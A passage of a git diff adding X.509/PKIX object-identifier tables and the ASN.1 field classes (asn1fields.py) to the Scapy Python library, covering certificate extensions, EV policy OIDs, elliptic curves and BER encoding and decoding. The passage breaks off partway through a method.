+        "authorityAttributeIdentifier"      : "2.5.29.38",
+        "roleSpecCertIdentifier"            : "2.5.29.39",
+        "cRLStreamIdentifier"               : "2.5.29.40",
+        "basicAttConstraints"               : "2.5.29.41",
+        "delegatedNameConstraints"          : "2.5.29.42",
+        "timeSpecification"                 : "2.5.29.43",
+        "cRLScope"                          : "2.5.29.44",
+        "statusReferrals"                   : "2.5.29.45",
+        "freshestCRL"                       : "2.5.29.46",
+        "orderedList"                       : "2.5.29.47",
+        "attributeDescriptor"               : "2.5.29.48",
+        "userNotice"                        : "2.5.29.49",
+        "sOAIdentifier"                     : "2.5.29.50",
+        "baseUpdateTime"                    : "2.5.29.51",
+        "acceptableCertPolicies"            : "2.5.29.52",
+        "deltaInfo"                         : "2.5.29.53",
+        "inhibitAnyPolicy"                  : "2.5.29.54",
+        "targetInformation"                 : "2.5.29.55",
+        "noRevAvail"                        : "2.5.29.56",
+        "acceptablePrivilegePolicies"       : "2.5.29.57",
+        "id-ce-toBeRevoked"                 : "2.5.29.58",
+        "id-ce-RevokedGroups"               : "2.5.29.59",
+        "id-ce-expiredCertsOnCRL"           : "2.5.29.60",
+        "indirectIssuer"                    : "2.5.29.61",
+        "id-ce-noAssertion"                 : "2.5.29.62",
+        "id-ce-aAissuingDistributionPoint"  : "2.5.29.63",
+        "id-ce-issuedOnBehaIFOF"            : "2.5.29.64",
+        "id-ce-singleUse"                   : "2.5.29.65",
+        "id-ce-groupAC"                     : "2.5.29.66",
+        "id-ce-allowedAttAss"               : "2.5.29.67",
+        "id-ce-attributeMappings"           : "2.5.29.68",
+        "id-ce-holderNameConstraints"       : "2.5.29.69"
+        }
+
+certExt_oids = {
+        "cert-type"                 : "2.16.840.1.113730.1.1",
+        "base-url"                  : "2.16.840.1.113730.1.2",
+        "revocation-url"            : "2.16.840.1.113730.1.3",
+        "ca-revocation-url"         : "2.16.840.1.113730.1.4",
+        "ca-crl-url"                : "2.16.840.1.113730.1.5",
+        "ca-cert-url"               : "2.16.840.1.113730.1.6",
+        "renewal-url"               : "2.16.840.1.113730.1.7",
+        "ca-policy-url"             : "2.16.840.1.113730.1.8",
+        "homepage-url"              : "2.16.840.1.113730.1.9",
+        "entity-logo"               : "2.16.840.1.113730.1.10",
+        "user-picture"              : "2.16.840.1.113730.1.11",
+        "ssl-server-name"           : "2.16.840.1.113730.1.12",
+        "comment"                   : "2.16.840.1.113730.1.13",
+        "lost-password-url"         : "2.16.840.1.113730.1.14",
+        "cert-renewal-time"         : "2.16.840.1.113730.1.15",
+        "aia"                       : "2.16.840.1.113730.1.16",
+        "cert-scope-of-use"         : "2.16.840.1.113730.1.17",
+        }
+
+certPkixPe_oids = {
+        "authorityInfoAccess"       : "1.3.6.1.5.5.7.1.1",
+        "biometricInfo"             : "1.3.6.1.5.5.7.1.2",
+        "qcStatements"              : "1.3.6.1.5.5.7.1.3",
+        "auditIdentity"             : "1.3.6.1.5.5.7.1.4",
+        "aaControls"                : "1.3.6.1.5.5.7.1.6",
+        "proxying"                  : "1.3.6.1.5.5.7.1.10",
+        "subjectInfoAccess"         : "1.3.6.1.5.5.7.1.11"
+        }
+
+certPkixQt_oids = {
+        "cps"                       : "1.3.6.1.5.5.7.2.1",
+        "unotice"                   : "1.3.6.1.5.5.7.2.2"
+        }
+
+certPkixKp_oids = {
+        "serverAuth"                : "1.3.6.1.5.5.7.3.1",
+        "clientAuth"                : "1.3.6.1.5.5.7.3.2",
+        "codeSigning"               : "1.3.6.1.5.5.7.3.3",
+        "emailProtection"           : "1.3.6.1.5.5.7.3.4",
+        "ipsecEndSystem"            : "1.3.6.1.5.5.7.3.5",
+        "ipsecTunnel"               : "1.3.6.1.5.5.7.3.6",
+        "ipsecUser"                 : "1.3.6.1.5.5.7.3.7",
+        "timeStamping"              : "1.3.6.1.5.5.7.3.8",
+        "ocspSigning"               : "1.3.6.1.5.5.7.3.9",
+        "dvcs"                      : "1.3.6.1.5.5.7.3.10",
+        "secureShellClient"         : "1.3.6.1.5.5.7.3.21",
+        "secureShellServer"         : "1.3.6.1.5.5.7.3.22"
+        }
+
+certPkixAd_oids = {
+        "ocsp"                          : "1.3.6.1.5.5.7.48.1",
+        "caIssuers"                     : "1.3.6.1.5.5.7.48.2",
+        "timestamping"                  : "1.3.6.1.5.5.7.48.3",
+        "id-ad-dvcs"                    : "1.3.6.1.5.5.7.48.4",
+        "id-ad-caRepository"            : "1.3.6.1.5.5.7.48.5",
+        "id-pkix-ocsp-archive-cutoff"   : "1.3.6.1.5.5.7.48.6",
+        "id-pkix-ocsp-service-locator"  : "1.3.6.1.5.5.7.48.7",
+        "id-ad-cmc"                     : "1.3.6.1.5.5.7.48.12",
+        "basic-response"                : "1.3.6.1.5.5.7.48.1.1"
+        }
+
+####### ansi-x962 #######
+
+x962KeyType_oids = {
+        "prime-field"               : "1.2.840.10045.1.1",
+        "characteristic-two-field"  : "1.2.840.10045.1.2",
+        "ecPublicKey"               : "1.2.840.10045.2.1",
+        }
+
+x962Signature_oids = {
+        "ecdsa-with-SHA1"           : "1.2.840.10045.4.1",
+        "ecdsa-with-Recommended"    : "1.2.840.10045.4.2",
+        "ecdsa-with-SHA224"         : "1.2.840.10045.4.3.1",
+        "ecdsa-with-SHA256"         : "1.2.840.10045.4.3.2",
+        "ecdsa-with-SHA384"         : "1.2.840.10045.4.3.3",
+        "ecdsa-with-SHA512"         : "1.2.840.10045.4.3.4"
+        }
+
+####### elliptic curves #######
+
+ansiX962Curve_oids = {
+        "prime192v1"                : "1.2.840.10045.3.1.1",
+        "prime192v2"                : "1.2.840.10045.3.1.2",
+        "prime192v3"                : "1.2.840.10045.3.1.3",
+        "prime239v1"                : "1.2.840.10045.3.1.4",
+        "prime239v2"                : "1.2.840.10045.3.1.5",
+        "prime239v3"                : "1.2.840.10045.3.1.6",
+        "prime256v1"                : "1.2.840.10045.3.1.7"
+        }
+
+certicomCurve_oids = {
+        "ansit163k1"                : "1.3.132.0.1",
+        "ansit163r1"                : "1.3.132.0.2",
+        "ansit239k1"                : "1.3.132.0.3",
+        "sect113r1"                 : "1.3.132.0.4",
+        "sect113r2"                 : "1.3.132.0.5",
+        "secp112r1"                 : "1.3.132.0.6",
+        "secp112r2"                 : "1.3.132.0.7",
+        "ansip160r1"                : "1.3.132.0.8",
+        "ansip160k1"                : "1.3.132.0.9",
+        "ansip256k1"                : "1.3.132.0.10",
+        "ansit163r2"                : "1.3.132.0.15",
+        "ansit283k1"                : "1.3.132.0.16",
+        "ansit283r1"                : "1.3.132.0.17",
+        "sect131r1"                 : "1.3.132.0.22",
+        "ansit193r1"                : "1.3.132.0.24",
+        "ansit193r2"                : "1.3.132.0.25",
+        "ansit233k1"                : "1.3.132.0.26",
+        "ansit233r1"                : "1.3.132.0.27",
+        "secp128r1"                 : "1.3.132.0.28",
+        "secp128r2"                 : "1.3.132.0.29",
+        "ansip160r2"                : "1.3.132.0.30",
+        "ansip192k1"                : "1.3.132.0.31",
+        "ansip224k1"                : "1.3.132.0.32",
+        "ansip224r1"                : "1.3.132.0.33",
+        "ansip384r1"                : "1.3.132.0.34",
+        "ansip521r1"                : "1.3.132.0.35",
+        "ansit409k1"                : "1.3.132.0.36",
+        "ansit409r1"                : "1.3.132.0.37",
+        "ansit571k1"                : "1.3.132.0.38",
+        "ansit571r1"                : "1.3.132.0.39"
+        }
+
+####### policies #######
+
+certPolicy_oids = {
+        "anyPolicy"                 : "2.5.29.32.0"
+        }
+
+# from Chromium source code (ev_root_ca_metadata.cc)
+evPolicy_oids = {
+        "EV AC Camerfirma S.A. Chambers of Commerce Root - 2008"            : "1.3.6.1.4.1.17326.10.14.2.1.2",
+        "EV AC Camerfirma S.A. Chambers of Commerce Root - 2008"            : "1.3.6.1.4.1.17326.10.14.2.2.2",
+        "EV AC Camerfirma S.A. Global Chambersign Root - 2008"              : "1.3.6.1.4.1.17326.10.8.12.1.2",
+        "EV AC Camerfirma S.A. Global Chambersign Root - 2008"              : "1.3.6.1.4.1.17326.10.8.12.2.2",
+        "EV AddTrust/Comodo/USERTrust"                                      : "1.3.6.1.4.1.6449.1.2.1.5.1",
+        "EV AddTrust External CA Root"                                      : "1.3.6.1.4.1.782.1.2.1.8.1",
+        "EV Actualis Authentication Root CA"                                : "1.3.159.1.17.1",
+        "EV AffirmTrust Commercial"                                         : "1.3.6.1.4.1.34697.2.1",
+        "EV AffirmTrust Networking"                                         : "1.3.6.1.4.1.34697.2.2",
+        "EV AffirmTrust Premium"                                            : "1.3.6.1.4.1.34697.2.3",
+        "EV AffirmTrust Premium ECC"                                        : "1.3.6.1.4.1.34697.2.4",
+        "EV Autoridad de Certificacion Firmaprofesional CIF A62634068"      : "1.3.6.1.4.1.13177.10.1.3.10",
+        "EV Baltimore CyberTrust Root"                                      : "1.3.6.1.4.1.6334.1.100.1",
+        "EV Buypass Class 3"                                                : "2.16.578.1.26.1.3.3",
+        "EV Certificate Authority of WoSign"                                : "1.3.6.1.4.1.36305.2",
+        "EV CertPlus Class 2 Primary CA (KEYNECTIS)"                        : "1.3.6.1.4.1.22234.2.5.2.3.1",
+        "EV Certum Trusted Network CA"                                      : "1.2.616.1.113527.2.5.1.1",
+        "EV China Internet Network Information Center EV Certificates Root" : "1.3.6.1.4.1.29836.1.10",
+        "EV Cybertrust Global Root"                                         : "1.3.6.1.4.1.6334.1.100.1",
+        "EV DigiCert High Assurance EV Root CA"                             : "2.16.840.1.114412.2.1",
+        "EV D-TRUST Root Class 3 CA 2 EV 2009"                              : "1.3.6.1.4.1.4788.2.202.1",
+        "EV Entrust Certification Authority"                                : "2.16.840.1.114028.10.1.2",
+        "EV Equifax Secure Certificate Authority (GeoTrust)"                : "1.3.6.1.4.1.14370.1.6",
+        "EV E-Tugra Certification Authority"                                : "2.16.792.3.0.4.1.1.4",
+        "EV GeoTrust Primary Certification Authority"                       : "1.3.6.1.4.1.14370.1.6",
+        "EV GlobalSign Root CAs"                                            : "1.3.6.1.4.1.4146.1.1",
+        "EV Go Daddy Certification Authority"                               : "2.16.840.1.114413.1.7.23.3",
+        "EV Izenpe.com roots Business"                                      : "1.3.6.1.4.1.14777.6.1.1",
+        "EV Izenpe.com roots Government"                                    : "1.3.6.1.4.1.14777.6.1.2",
+        "EV Network Solutions Certificate Authority"                        : "1.3.6.1.4.1.781.1.2.1.8.1",
+        "EV QuoVadis Roots"                                                 : "1.3.6.1.4.1.8024.0.2.100.1.2",
+        "EV SecureTrust Corporation Roots"                                  : "2.16.840.1.114404.1.1.2.4.1",
+        "EV Security Communication RootCA1"                                 : "1.2.392.200091.100.721.1",
+        "EV Staat der Nederlanden EV Root CA"                               : "2.16.528.1.1003.1.2.7",
+        "EV StartCom Certification Authority"                               : "1.3.6.1.4.1.23223.1.1.1",
+        "EV Starfield Certificate Authority"                                : "2.16.840.1.114414.1.7.23.3",
+        "EV Starfield Service Certificate Authority"                        : "2.16.840.1.114414.1.7.24.3",
+        "EV SwissSign Gold CA - G2"                                         : "2.16.756.1.89.1.2.1.1",
+        "EV Swisscom Root EV CA 2"                                          : "2.16.756.1.83.21.0",
+        "EV thawte CAs"                                                     : "2.16.840.1.113733.1.7.48.1",
+        "EV TWCA Roots"                                                     : "1.3.6.1.4.1.40869.1.1.22.3",
+        "EV T-Telessec GlobalRoot Class 3"                                  : "1.3.6.1.4.1.7879.13.24.1",
+        "EV USERTrust Certification Authorities"                            : "1.3.6.1.4.1.6449.1.2.1.5.1",
+        "EV ValiCert Class 2 Policy Validation Authority"                   : "2.16.840.1.114413.1.7.23.3",
+        "EV VeriSign Certification Authorities"                             : "2.16.840.1.113733.1.7.23.6",
+        "EV Wells Fargo WellsSecure Public Root Certification Authority"    : "2.16.840.1.114171.500.9",
+        "EV XRamp Global Certification Authority"                           : "2.16.840.1.114404.1.1.2.4.1",
+        "jurisdictionOfIncorporationLocalityName"                           : "1.3.6.1.4.1.311.60.2.1.1",
+        "jurisdictionOfIncorporationStateOrProvinceName"                    : "1.3.6.1.4.1.311.60.2.1.2",
+        "jurisdictionOfIncorporationCountryName"                            : "1.3.6.1.4.1.311.60.2.1.3"
+        }
+
+
+x509_oids_sets = [
+                 pkcs1_oids,
+                 secsig_oids,
+                 pkcs9_oids,
+                 attributeType_oids,
+                 certificateExtension_oids,
+                 certExt_oids,
+                 certPkixPe_oids,
+                 certPkixQt_oids,
+                 certPkixKp_oids,
+                 certPkixAd_oids,
+                 certPolicy_oids,
+                 evPolicy_oids,
+                 x962KeyType_oids,
+                 x962Signature_oids,
+                 ansiX962Curve_oids,
+                 certicomCurve_oids
+                 ]
+
+x509_oids = {}
+
+for oids_set in x509_oids_sets:
+    x509_oids.update(oids_set)
+
+conf.mib = MIBDict(_name="MIB", **x509_oids)
+
+
+#########################
+## Hash mapping helper ##
+#########################
+
+# This dict enables static access to string references to the hash functions
+# of some algorithms from pkcs1_oids and x962Signature_oids.
+
+hash_by_oid = {
+        "1.2.840.113549.1.1.2"  : "md2",
+        "1.2.840.113549.1.1.3"  : "md4",
+        "1.2.840.113549.1.1.4"  : "md5",
+        "1.2.840.113549.1.1.5"  : "sha1",
+        "1.2.840.113549.1.1.11" : "sha256",
+        "1.2.840.113549.1.1.12" : "sha384",
+        "1.2.840.113549.1.1.13" : "sha512",
+        "1.2.840.113549.1.1.14" : "sha224",
+        "1.2.840.10045.4.1"     : "sha1",
+        "1.2.840.10045.4.3.1"   : "sha224",
+        "1.2.840.10045.4.3.2"   : "sha256",
+        "1.2.840.10045.4.3.3"   : "sha384",
+        "1.2.840.10045.4.3.4"   : "sha512"
+        }
+
diff --git a/scapy/asn1fields.py b/scapy/asn1fields.py
new file mode 100644
index 0000000..2854b4f
--- /dev/null
+++ b/scapy/asn1fields.py
@@ -0,0 +1,599 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Enhanced by Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+Classes that implement ASN.1 data structures.
+"""
+
+from __future__ import absolute_import
+from scapy.asn1.asn1 import *
+from scapy.asn1.ber import *
+from scapy.asn1.mib import *
+from scapy.volatile import *
+from scapy.compat import *
+from scapy.base_classes import BasePacket
+from scapy.utils import binrepr
+from scapy import packet
+from functools import reduce
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+class ASN1F_badsequence(Exception):
+    pass
+
+class ASN1F_element(object):
+    pass
+
+
+##########################
+#### Basic ASN1 Field ####
+##########################
+
+class ASN1F_field(ASN1F_element):
+    holds_packets = 0
+    islist = 0
+    ASN1_tag = ASN1_Class_UNIVERSAL.ANY
+    context = ASN1_Class_UNIVERSAL
+    
+    def __init__(self, name, default, context=None,
+                 implicit_tag=None, explicit_tag=None,
+                 flexible_tag=False):
+        self.context = context
+        self.name = name
+        if default is None:
+            self.default = None
+        elif isinstance(default, ASN1_NULL):
+            self.default = default
+        else:
+            self.default = self.ASN1_tag.asn1_object(default)
+        self.flexible_tag = flexible_tag
+        if (implicit_tag is not None) and (explicit_tag is not None):
+            err_msg = "field cannot be both implicitly and explicitly tagged"
+            raise ASN1_Error(err_msg)
+        self.implicit_tag = implicit_tag
+        self.explicit_tag = explicit_tag
+        # network_tag gets useful for ASN1F_CHOICE
+        self.network_tag = implicit_tag or explicit_tag or self.ASN1_tag
+
+    def i2repr(self, pkt, x):
+        return repr(x)
+    def i2h(self, pkt, x):
+        return x
+    def any2i(self, pkt, x):
+        return x
+    def m2i(self, pkt, s):
+        """
+        The good thing about safedec is that it may still decode ASN1
+        even if there is a mismatch between the expected tag (self.ASN1_tag)
+        and the actual tag; the decoded ASN1 object will simply be put
+        into an ASN1_BADTAG object. However, safedec prevents the raising of
+        exceptions needed for ASN1F_optional processing.
+        Thus we use 'flexible_tag', which should be False with ASN1F_optional.
+
+        Regarding other fields, we might need to know whether encoding went
+        as expected or not. Noticeably, input methods from cert.py expect
+        certain exceptions to be raised. Hence default flexible_tag is False.
+        """
+        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,
+                                      implicit_tag=self.implicit_tag,
+                                      explicit_tag=self.explicit_tag,
+                                      safe=self.flexible_tag)
+        if diff_tag is not None:
+            # this implies that flexible_tag was True
+            if self.implicit_tag is not None:
+                self.implicit_tag = diff_tag
+            elif self.explicit_tag is not None:
+                self.explicit_tag = diff_tag
+        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)
+        if self.flexible_tag:
+            return codec.safedec(s, context=self.context)
+        else:
+            return codec.dec(s, context=self.context)
+    def i2m(self, pkt, x):
+        if x is None:
+            return b""
+        if isinstance(x, ASN1_Object):
+            if ( self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY
+                 or x.tag == ASN1_Class_UNIVERSAL.RAW
+                 or x.tag == ASN1_Class_UNIVERSAL.ERROR
+                 or self.ASN1_tag == x.tag ):
+                s = x.enc(pkt.ASN1_codec)
+            else:
+                raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name))
+        else:
+            s = self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x)
+        return BER_tagging_enc(s, implicit_tag=self.implicit_tag,
+                               explicit_tag=self.explicit_tag)
+    def extract_packet(self, cls, s):
+        if len(s) > 0:
+            try:
+                c = cls(s)
+            except ASN1F_badsequence:
+                c = packet.Raw(s)
+            cpad = c.getlayer(packet.Raw)
+            s = b""
+            if cpad is not None:
+                s = cpad.load
+                del(cpad.underlayer.payload)
+            return c,s
+        else:
+            return None,s
+ 
+    def build(self, pkt):
+        return self.i2m(pkt, getattr(pkt, self.name))
+    def dissect(self, pkt, s):
+        v,s = self.m2i(pkt, s)
+        self.set_val(pkt, v)
+        return s
+
+    def do_copy(self, x):
+        if hasattr(x, "copy"):
+            return x.copy()
+        if isinstance(x, list):
+            x = x[:]
+            for i in range(len(x)):
+                if isinstance(x[i], BasePacket):
+                    x[i] = x[i].copy()
+        return x
+    def set_val(self, pkt, val):
+        setattr(pkt, self.name, val)
+    def is_empty(self, pkt):
+        return getattr(pkt, self.name) is None
+    def get_fields_list(self):
+        return [self]
+    
+    def __hash__(self):
+        return hash(self.name)
+    def __str__(self):
+        return repr(self)
+    def randval(self):
+        return RandInt()
+
+
+############################
+#### Simple ASN1 Fields ####
+############################
+
+class ASN1F_BOOLEAN(ASN1F_field):
+    ASN1_tag = ASN1_Class_UNIVERSAL.BOOLEAN
+    def randval(self):
+        return RandChoice(True, False)
+
+class ASN1F_INTEGER(ASN1F_field):
+    ASN1_tag = ASN1_Class_UNIVERSAL.INTEGER
+    def randval(self):
+        return RandNum(-2**64, 2**64-1)
+
+class ASN1F_enum_INTEGER(ASN1F_INTEGER):
+    def __init__(self, name, default, enum, context=None,
+                 implicit_tag=None, explicit_tag=None):
+        ASN1F_INTEGER.__init__(self, name, default, context=context,
+                               implicit_tag=implicit_tag,
+                               explicit_tag=explicit_tag)
+        i2s = self.i2s = {}
+        s2i = self.s2i = {}
+        if isinstance(enum, list):
+            keys = range(len(enum))
+        else:
+            keys = list(enum)
+        if any(isinstance(x, six.string_types) for x in keys):
+            i2s, s2i = s2i, i2s
+        for k in keys:
+            i2s[k] = enum[k]
+            s2i[enum[k]] = k
+    def i2m(self, pkt, s):
+        if isinstance(s, str):
+            s = self.s2i.get(s)
+        return super(ASN1F_enum_INTEGER, self).i2m(pkt, s)
+    def i2repr(self, pkt, x):
+        if x is not None and isinstance(x, ASN1_INTEGER):
+            r = self.i2s.get(x.val)
+            if r:
+                return "'%s' %s" % (r, repr(x))
+        return repr(x)
+
+class ASN1F_BIT_STRING(ASN1F_field):
+    ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING
+    def __init__(self, name, default, default_readable=True, context=None,
+                 implicit_tag=None, explicit_tag=None):
+        if default is not None and default_readable:
+            default = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in default)
+        ASN1F_field.__init__(self, name, default, context=context,
+                             implicit_tag=implicit_tag,
+                             explicit_tag=explicit_tag)
+    def randval(self):
+        return RandString(RandNum(0, 1000))
+    
+class ASN1F_STRING(ASN1F_field):
+    ASN1_tag = ASN1_Class_UNIVERSAL.STRING
+    def randval(self):
+        return RandString(RandNum(0, 1000))
+
+class ASN1F_NULL(ASN1F_INTEGER):
+    ASN1_tag = ASN1_Class_UNIVERSAL.NULL
+
+class ASN1F_OID(ASN1F_field):
+    ASN1_tag = ASN1_Class_UNIVERSAL.OID
+    def randval(self):
+        return RandOID()
+
+class ASN1F_ENUMERATED(ASN1F_enum_INTEGER):
+    ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED
+
+class ASN1F_UTF8_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.UTF8_STRING
+
+class ASN1F_NUMERIC_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING
+
+class ASN1F_PRINTABLE_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING
+
+class ASN1F_T61_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.T61_STRING
+
+class ASN1F_VIDEOTEX_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING
+
+class ASN1F_IA5_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.IA5_STRING
+   
+class ASN1F_UTC_TIME(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME
+    def randval(self):
+        return GeneralizedTime()
+
+class ASN1F_GENERALIZED_TIME(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME
+    def randval(self):
+        return GeneralizedTime()
+
+class ASN1F_ISO646_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.ISO646_STRING
+
+class ASN1F_UNIVERSAL_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING
+   
+class ASN1F_BMP_STRING(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.BMP_STRING
+   
+class ASN1F_SEQUENCE(ASN1F_field):
+# Here is how you could decode a SEQUENCE
+# with an unknown, private high-tag prefix :
+# class PrivSeq(ASN1_Packet):
+#     ASN1_codec = ASN1_Codecs.BER
+#     ASN1_root = ASN1F_SEQUENCE(
+#                       <asn1 field #0>,
+#                       ...
+#                       <asn1 field #N>,
+#                       explicit_tag=0,
+#                       flexible_tag=True)
+# Because we use flexible_tag, the value of the explicit_tag does not matter.
+    ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE
+    holds_packets = 1
+    def __init__(self, *seq, **kwargs):
+        name = "dummy_seq_name"
+        default = [field.default for field in seq]
+        for kwarg in ["context", "implicit_tag",
+                      "explicit_tag", "flexible_tag"]:
+            if kwarg in kwargs:
+                setattr(self, kwarg, kwargs[kwarg])
+            else:
+                setattr(self, kwarg, None)
+        ASN1F_field.__init__(self, name, default, context=self.context,
+                             implicit_tag=self.implicit_tag,
+                             explicit_tag=self.explicit_tag,
+                             flexible_tag=self.flexible_tag)
+        self.seq = seq
+        self.islist = len(seq) > 1
+    def __repr__(self):
+        return "<%s%r>" % (self.__class__.__name__, self.seq)
+    def is_empty(self, pkt):
+        for f in self.seq:
+            if not f.is_empty(pkt):
+                return False
+        return True
+    def get_fields_list(self):
+        return reduce(lambda x,y: x+y.get_fields_list(), self.seq, [])
+    def m2i(self, pkt, s):
+        """
+        ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being
+        dissected one by one. Because we use obj.dissect (see loop below)
+        instead of obj.m2i (as we trust dissect to do the appropriate set_vals)
+        we do not directly retrieve the list of nested objects.
+        Thus m2i returns an empty list (along with the proper remainder).
+        It is discarded by dissect() and should not be missed elsewhere.
+        """
+        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,
+                                      implicit_tag=self.implicit_tag,
+                                      explicit_tag=self.explicit_tag,
+                                      safe=self.flexible_tag)
+        if diff_tag is not None:
+            if self.implicit_tag is not None:
+                self.implicit_tag = diff_tag
+            elif self.explicit_tag is not None:
+                self.explicit_tag = diff_tag
+        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)
+        i,s,remain = codec.check_type_check_len(s)
+        if len(s) == 0:
+            for obj in self.seq:
+                obj.set_val(pkt, None)
+        else:
+            for obj in self.seq:
+                try:
+                    s = obj.dissect(pkt, s)
+                except ASN1F_badsequence as e:
+                    break
+            if len(s) > 0:
+                raise BER_Decoding_Error("unexpected remainder", remaining=s)
+        return [], remain
+    def dissect(self, pkt, s):
+        _,x = self.m2i(pkt, s)
+        return x
+    def build(self, pkt):
+        s = reduce(lambda x,y: x+y.build(pkt), self.seq, b"")
+        return self.i2m(pkt, s)
+
+class ASN1F_SET(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_UNIVERSAL.SET
+
+class ASN1F_SEQUENCE_OF(ASN1F_field):
+    ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE
+    holds_packets = 1
+    islist = 1
+    def __init__(self, name, default, cls, context=None,
+                 implicit_tag=None, explicit_tag=None):
+        self.cls = cls
+        ASN1F_field.__init__(self, name, None, context=context,
+                        implicit_tag=implicit_tag, explicit_tag=explicit_tag)
+        self.default = default
+    def is_empty(self, pkt):
+        return ASN1F_field.is_empty(self, pkt)
+    def m2i(self, pkt, s):
+        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,
+                                      implicit_tag=self.implicit_tag,
+                                      explicit_tag=self.explicit_tag,
+                                      safe=self.flexible_tag)
+        if diff_tag is not None:
+            if self.implicit_tag is not None:
+                self.implicit_tag = diff_tag
+            elif self.explicit_tag is not None:
+                self.explicit_tag = diff_tag
+        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)
+        i,s,remain = codec.check_type_check_len(s)
+        lst = []
+        while s:
+            c,s = self.extract_packet(self.cls, s)
+            lst.append(c)
+        if len(s) > 0:
+            raise BER_Decoding_Error("unexpected remainder", remaining=s)
+        return lst, remain
+    def build(self, pkt):
+        val = getattr(pkt, self.name)
+        if isinstance(val, ASN1_Object) and val.tag==ASN1_Class_UNIVERSAL.RAW:
+            s = val
+        elif val is None:
+            s = b""
+        else:
+            s = b"".join(raw(i) for i in val)
+        return self.i2m(pkt, s)
+
+    def randval(self):
+        return packet.fuzz(self.cls())
+    def __repr__(self):
+        return "<%s %s>" % (self.__class__.__name__, self.name)
+
+class ASN1F_SET_OF(ASN1F_SEQUENCE_OF):
+    ASN1_tag = ASN1_Class_UNIVERSAL.SET
+
+class ASN1F_IPADDRESS(ASN1F_STRING):
+    ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS    
+
+class ASN1F_TIME_TICKS(ASN1F_INTEGER):
+    ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS
+
+
+#############################
+#### Complex ASN1 Fields ####
+#############################
+
+class ASN1F_optional(ASN1F_element):
+    def __init__(self, field):
+        field.flexible_tag = False
+        self._field = field
+    def __getattr__(self, attr):
+        return getattr(self._field, attr)
+    def m2i(self, pkt, s):
+        try:
+            return self._field.m2i(pkt, s)
+        except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error):
+            # ASN1_Error may be raised by ASN1F_CHOICE
+            return None, s
+    def dissect(self, pkt, s):
+        try:
+            return self._field.dissect(pkt, s)
+        except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error):
+            self._field.set_val(pkt, None)
+            return s
+    def build(self, pkt):
+        if self._field.is_empty(pkt):
+            return b""
+        return self._field.build(pkt)
+    def any2i(self, pkt, x):
+        return self._field.any2i(pkt, x)
+    def i2repr(self, pkt, x):
+        return self._field.i2repr(pkt, x)
+
+class ASN1F_CHOICE(ASN1F_field):
+    """
+    Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(),
+    See layers/x509.py for examples.
+    Other ASN1F_field instances than ASN1F_PACKET instances must not be used.
+    """
+    holds_packets = 1
+    ASN1_tag = ASN1_Class_UNIVERSAL.ANY
+    def __init__(self, name, default, *args, **kwargs):
+        if "implicit_tag" in kwargs:
+            err_msg = "ASN1F_CHOICE has been called with an implicit_tag"
+            raise ASN1_Error(err_msg)
+        self.implicit_tag = None
+        for kwarg in ["context", "explicit_tag"]:
+            if kwarg in kwargs:
+                setattr(self, kwarg, kwargs[kwarg])
+            else:
+                setattr(self, kwarg, None)
+        ASN1F_field.__init__(self, name, None, context=self.context,
+                             explicit_tag=self.explicit_tag)
+        self.default = default
+        self.current_choice = None
+        self.choices = {}
+        self.pktchoices = {}
+        for p in args:
+            if hasattr(p, "ASN1_root"):     # should be ASN1_Packet
+                if hasattr(p.ASN1_root, "choices"):
+                    for k,v in six.iteritems(p.ASN1_root.choices):
+                        self.choices[k] = v         # ASN1F_CHOICE recursion
+                else:
+                    self.choices[p.ASN1_root.network_tag] = p
+            elif hasattr(p, "ASN1_tag"):
+                if isinstance(p, type):         # should be ASN1F_field class
+                    self.choices[p.ASN1_tag] = p
+                else:                       # should be ASN1F_PACKET instance
+                    self.choices[p.network_tag] = p
+                    self.pktchoices[hash(p.cls)] = (p.implicit_tag, p.explicit_tag)
+            else:
+                raise ASN1_Error("ASN1F_CHOICE: no tag found for one field")
+    def m2i(self, pkt, s):
+        """
+        First we have to retrieve the appropriate choice.
+        Then we extract the field/packet, according to this choice.
+        """
+        if len(s) == 0:
+            raise ASN1_Error("ASN1F_CHOICE: got empty string")
+        _,s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,
+                              explicit_tag=self.explicit_tag)
